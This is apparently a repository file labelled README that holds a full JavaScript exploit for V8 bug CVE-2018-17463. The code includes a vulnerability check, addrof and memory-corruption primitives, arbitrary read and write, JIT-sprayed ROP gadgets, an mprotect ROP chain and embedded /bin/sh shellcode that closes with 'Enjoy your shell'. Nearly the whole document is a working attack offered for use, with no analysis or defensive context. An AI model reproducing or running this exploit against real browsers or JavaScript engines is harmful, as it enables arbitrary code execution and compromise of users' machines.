README.md
Rendering markdown...
/**
* Steps to Exploit
* -----------------------------------------
* 1) check if vulnerable
* 2) find overlapping properties
* 3) create read priv
* 4) create write priv
* 5) conduct a memory write
* 6) conduct a full /bin/sh exploit for fun.
* 7) look into JIT for fun and profit
*/
const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;
/**
*Need to reverse Engineer these conversions.
* **/
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);
let uint8View = new Uint8Array(floatView.buffer);
Number.prototype.toBigInt = function toBigInt() {
floatView[0] = this;
return uint64View[0];
};
BigInt.prototype.toNumber = function toNumber() {
uint64View[0] = this;
return floatView[0];
};
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
function checkVuln() {
function hax(o) {
//first step force the compiler to make a map check
o.inline;
Object.create(o);
//force d8 to remove the map check
return o.outline;
}
for (let i=0; i<MAX_ITERATIONS; i++) {
o = {inline: 0x1337};
o.outline = 0x1338;
r = hax(o);
if (r !== 0x1338)
{
return true;
}
}
return false;
}
function makeObj(propertyValues) {
let o = {inline: 0x1337};
for (let i = 0; i < NUM_PROPERTIES; i++)
{
Object.defineProperty(o,'p' + i, {
writable: true,
value: propertyValues[i]
});
}
return o;
}
let p1;
let p2;
function find_over_lapping() {
let propertyNames = [];
for (let i=0;i<NUM_PROPERTIES;i++)
{
propertyNames[i] = 'p' + i;
}
let command = `
function hax(o) {
let a = o.inline;
this.Object.create(o);
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')}
return [${propertyNames.join(', ')}];
}
`;
eval(command);
let propertyValues = [];
for (let i = 1; i<NUM_PROPERTIES;i++)
{
propertyValues[i] = -i;
}
for(let j = 0;j<MAX_ITERATIONS; j++)
{
let findObj = makeObj(propertyValues);
let r = hax(findObj);
for (let i =0; i < NUM_PROPERTIES; i++)
{
if (i!==-r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
[p1, p2] = [i, -r[i]]
//%DebugPrint(findObj)
//Math.cosh(1);
return;
}
}
}
throw "Failed to find overlapping properties"
}
function addrof(obj) {
command = `
function hax(o) {
let a = o.inline;
this.Object.create(o);
return o.p${p1}.x1;
}
`;
eval(command);
let propertyValues = [];
propertyValues[p1] = {x1: 13.37, x2: 13.38};
propertyValues[p2] = {y1: obj};
for (let j=0;j<MAX_ITERATIONS;j++)
{
leakyObject = makeObj(propertyValues);
let res = hax(leakyObject);
if (res !== 13.37)
{
return res.toBigInt() - 1n;
}
}
}
function corrupt(victim,newValue) {
eval(`
function hax(o) {
o.inline;
this.Object.create(o);
let orig = o.p${p1}.x2;
o.p${p1}.x2 = ${newValue.toNumber()};
return orig;
}
`);
let propertyValues = [];
let o = {x1: 13.37, x2: 13.38};
propertyValues[p1] = o;
propertyValues[p2] = victim;
for (let j=0;j<MAX_ITERATIONS;j++)
{
o.x2 = 13.38;
let evilObject = makeObj(propertyValues);
let r = hax(evilObject);
if (r !== 13.38)
{
return r.toBigInt() - 1n;
}
}
}
function pwn() {
if (checkVuln())
{
let memViewBuf = new ArrayBuffer(2048);
let driverBuf = new ArrayBuffer(2048);
let rop_chainBuf = new ArrayBuffer(4096);
//let shellcodeBuf = new ArrayBuffer(4096);
let rop_chain = new BigUint64Array(rop_chainBuf);
//let shellcode = new BigUint64Array(shellcodeBuf);
/*************************
* bin sh shellcode
* ********************/
shellcode = new Uint8Array([
0x48,0x31,0xc9,0x48,0x81,0xe9,0xfa,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,0xf8,
0xc4,0x73,0x12,0xf2,0xb2,0xe0,0xea,0x48,0x31,0x58,0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x92,
0xff,0x2b,0x8b,0xba,0x09,0xcf,0x88,0x91,0xaa,0x5c,0x61,0x9a,0xb2,0xb3,0xa2,0x71,0x23,0x1b,0x3f,0x91,
0xb2,0xe0,0xa2,0x71,0x22,0x21,0xfa,0xfa,0xb2,0xe0,0xea,0xd7,0xa6,0x1a,0x7c,0xdd,0xc1,0x88,0xea,0xae,
0x93,0x3b,0x9b,0x14,0xbd,0xe5,0xea
]);
console.log("V8 is vulnerable to CVE-2018-17463");
find_over_lapping();
gc();
let memViewBufAddr = addrof(memViewBuf);
let origDriverBackingStorage = corrupt(driverBuf, memViewBufAddr);
let driver = new BigUint64Array(driverBuf);
let origMeMViewBackStore=driver[4];
let memory = {
write(addr, bytes) {
driver[4] = addr;
let memview = new Uint8Array(memViewBuf);
memview.set(bytes);
},
read(addr, len) {
driver[4] = addr;
let memview = Uint8Array(memviewBuf);
return memview.subarray(0,len);
},
read64(addr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
return memview[0];
},
write64(addr, ptr) {
driver[4] = addr;
let memview = new BigUint64Array(memViewBuf);
memview[0] = ptr;
},
addrof(obj) {
memViewBuf.leakMe = obj
let props = this.read64(memViewBufAddr +8n)
return this.read64(props+15n) -1n;
}
}
/**
*Jit Spray to get gadgets
* */
let exploit_victim = {
trigger : function() {
return 0xBADF0Dn;
},
//piviot (%rsi) -> rsp
stack_piviot_gadget : function() {
return 0xc3268b48|0;
},
//pop rsi, pop rdi, pop rax
pop_gadget: function() {
return 0xc3585f5e|0;
},
//pop rdx; syscall; ret
syscall_gadget: function() {
//return 0xcc80cd5a|0;
return 0xc3050f5a|0;
}
};
for (let i = 0;i<100000;i++)
{
exploit_victim.trigger();
exploit_victim.pop_gadget();
exploit_victim.syscall_gadget();
exploit_victim.stack_piviot_gadget();
}
/****
* Getting Victim object address that contains trigger function and gadgets
****/
let exploit_victim_addr = memory.addrof(exploit_victim);
let trigger_addr = memory.read64(exploit_victim_addr + 24n)-1n;
//let trigger_code = memory.read64(trigger_addr+48n)-1n;
let trigger_blockcontext = memory.read64(trigger_addr+32n);
let pop_gadget = memory.read64(exploit_victim_addr +40n) -1n;
pop_gadget = memory.read64(pop_gadget + 48n) -1n +176n;
let syscall = memory.read64(exploit_victim_addr +48n) -1n;
syscall = memory.read64(syscall + 48n) -1n +176n;
console.log(`[+] syscall 0x${syscall.toString(16)} [+]`);
let stack_piviot_gadget_addr = memory.read64(exploit_victim_addr + 32n) -1n;
stack_piviot_gadget_addr = memory.read64(stack_piviot_gadget_addr+48n) - 1n + 176n;
console.log(`[+] stackpivot 0x${stack_piviot_gadget_addr.toString(16)} [+]`);
let shellcode_addr = memory.addrof(shellcode);
shellcode_addr = memory.read64(shellcode_addr+24n)-1n;
shellcode_addr = memory.read64(shellcode_addr+32n);
console.log(`[+] shellcode 0x${shellcode_addr.toString(16)} [+]`);
/**
*Ropchain to mprotect to make RWE memory page
* **/
rop_chain[0] = pop_gadget; //start building the rop chain
rop_chain[1] = 8192n; //rsi
rop_chain[2] = shellcode_addr & 0xFFFFFFFFFFFFF000n; //rdi
rop_chain[3] = 10n; //rax
rop_chain[4] = syscall;
rop_chain[5] = 0x7n; //rdx
rop_chain[6] = shellcode_addr; //rip
let rop_chain_addr = memory.addrof(rop_chain);
rop_chain_addr = memory.read64(rop_chain_addr+24n)-1n;
rop_chain_addr = memory.read64(rop_chain_addr+32n);
console.log(`[+] RopChain at 0x${rop_chain_addr.toString(16)} [+]`);
Math.cosh(1);
console.log('[+] Enjoy your shell [+]');
memory.write64(trigger_addr+48n,stack_piviot_gadget_addr-0x44n);
//Context is saved must be the last thing we do
memory.write64(trigger_blockcontext,rop_chain_addr);
exploit_victim.trigger();
} else {
console.log("v8 is not vulnerable to CVE-2018-17463");
}
}
pwn();